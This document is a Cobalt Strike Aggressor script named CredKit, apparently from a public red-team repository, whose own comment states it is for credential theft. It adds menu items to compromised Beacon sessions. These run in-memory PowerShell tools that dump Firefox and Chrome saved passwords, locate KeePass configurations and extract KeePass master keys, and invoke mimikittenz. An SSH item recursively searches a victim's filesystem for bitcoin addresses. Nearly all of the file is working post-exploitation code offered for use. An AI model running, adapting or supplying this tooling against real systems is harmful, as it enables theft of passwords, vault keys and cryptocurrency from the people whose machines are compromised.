Files
Und3rf10w-Aggressor-scripts/kits/CredKit/CredKit.cna
T

77 lines
2.4 KiB
Plaintext

# Actions in this kit center around credential theft, be it via memory scraping or reading files in. If it involves stealing passwords, it should be here.
# @Und3rf10w
popup beacon_bottom {
menu "CredKit" {
item "Get Firefox Passwords"{
local('$bid');
foreach $bid ($1){
binput($1, "powershell-import Get-FirefoxPasswords.ps1");
# read in the powershell script
$handle = openf(script_resource("scripts/Get-FirefoxPasswords.ps1"));
$firefox_script = readb($handle, -1);
closef($handle);
# host firefox script on beacon
$cmd = beacon_host_script($1, $firefox_script);
binput($bid, "powershell Get-FirefoxPasswords");
sleep(5 * 1000);
# execute in-memory hosted script
bpowerpick($1, "$cmd");
}
}
item "Get Chrome Passwords"{
local('$bid');
foreach $bid ($1){
binput($1, "powershell-import Get-ChromePasswords.ps1");
# read in the powershell script
$handle = openf(script_resource("scripts/Get-ChromePasswords.ps1"));
$chrome_script = readb($handle, -1);
closef($handle);
$cmd = beacon_host_script($bid, $chrome_script);
binput($bid, "powerpick Get-ChromePasswords");
sleep(50 * 1000);
# execute in-memory hosted script
bpowerpick($bid, "$cmd");
}
}
item "Find KeePass Config"{
local('$bid');
foreach $bid ($1) {
binput($1, "powershell-import KeePassConfig.ps1");
bpowershell_import($bid, script_resource("scripts/KeePassConfig.ps1"));
binput($bid, "powershell Find-KeePassconfig");
bpowershell($bid, "Find-KeePassconfig");
}
}
item "Get KeePass database master key"{
local('$bid');
foreach $bid ($1) {
binput($bid, "powershell-import KeeThief.ps1");
bpowershell_import($bid, script_resource("scripts/KeeThief.ps1"));
binput($bid, "powershell Get-KeePassDatabaseKey -Verbose");
bpowershell($bid, "Get-KeePassDatabaseKey -Verbose");
}
}
item "Invoke-mimikittenz"{
local('$bid');
foreach $bid ($1) {
binput($bid, "powershell-import Invoke-mimikittenz.ps1");
bpowershell_import($bid, script_resource("scripts/Invoke-mimikittenz.ps1"));
binput($bid, "powershell Invoke-mimikittenz");
bpowershell($bid, "Invoke-mimikittenz");
}
}
}
}
popup ssh {
menu "CredKit" {
item "Find bitcoin addresses"{
local('$bid');
foreach $bid ($1){
bshell($1, 'egrep "^[13][a-km-zA-HJ-NP-Z0-9]{26,33}$" / -R 2>/dev/null');
}
}
}
}